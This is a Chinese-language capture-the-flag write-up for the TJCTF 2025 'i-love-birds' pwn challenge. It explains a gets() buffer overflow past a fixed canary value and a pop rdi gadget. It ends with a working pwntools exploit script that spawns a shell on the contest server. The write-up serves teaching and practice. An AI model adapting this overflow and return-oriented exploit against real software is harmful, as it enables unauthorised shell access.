TJCTF 2025 pwn/i-love-birds Writeup
题目

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| #include <stdio.h> #include <stdlib.h>
void gadget() { asm("push $0x69;pop %rdi"); }
void win(int secret) { if (secret == 0xA1B2C3D4) { system("/bin/sh"); } }
int main() { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0);
unsigned int canary = 0xDEADBEEF;
char buf[64];
puts("I made a canary to stop buffer overflows. Prove me wrong!"); gets(buf);
if (canary != 0xDEADBEEF) { puts("No stack smashing for you!"); exit(1); }
return 0; }
|
分析
首先注意到这道题最核心的漏洞:
1 2
| char buf[64]; gets(buf);
|
也就是利用Buffer Overflow。
虽然说设置了Stack Canary,但是由于知道它的值,直接在Oveflow的时候保证它的值没有被修改即可。
我们一共需要做到2件事情:
- 调用
win()
函数
- 给
win()
函数传递0xA1B2C3D4
作为参数
在IDA的Exports页面便可直接查看win()
函数的地址:

其次便是传递参数了。首先查看gadget
函数(在上面的Exports页面直接点击gadget
即可):
1 2 3 4 5 6 7 8
| text:00000000004011B6 endbr64 .text:00000000004011BA push rbp .text:00000000004011BB mov rbp, rsp .text:00000000004011BE push 69h ; 'i' .text:00000000004011C0 pop rdi .text:00000000004011C1 nop .text:00000000004011C2 pop rbp .text:00000000004011C3 retn
|
发现我们可以直接利用pop rdi
以及retn/ret
来传递参数。不过这里和最常见的pop rdi; ret
不同的是,这两个命令中间还隔了其他内容,所以我们需要在中间部分插入Padding保证所有的位置都是正确的。
除了直接查看gadget
函数,我们还可以直接通过使用Alt + t
搜索pop


或者是通过Alt + B
搜索5F


来找到pop rdi
这条命令。
(如果是查找pop rdi; ret
的话则需要搜索”5F C3“)
最后再查看一下main()
函数的Stack的结构:

Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| from pwn import *
r = remote("tjc.tf", 31625)
payload = 76 * b"A" payload += p32(0xDEADBEEF) payload += 8 * b"C" payload += p64(0x4011c0) payload += p64(0xA1B2C3D4) payload+=p64(0x00) payload += p64(0x4011C4)
r.recvuntil(b"Prove me wrong!") r.sendline(payload) r.interactive()
|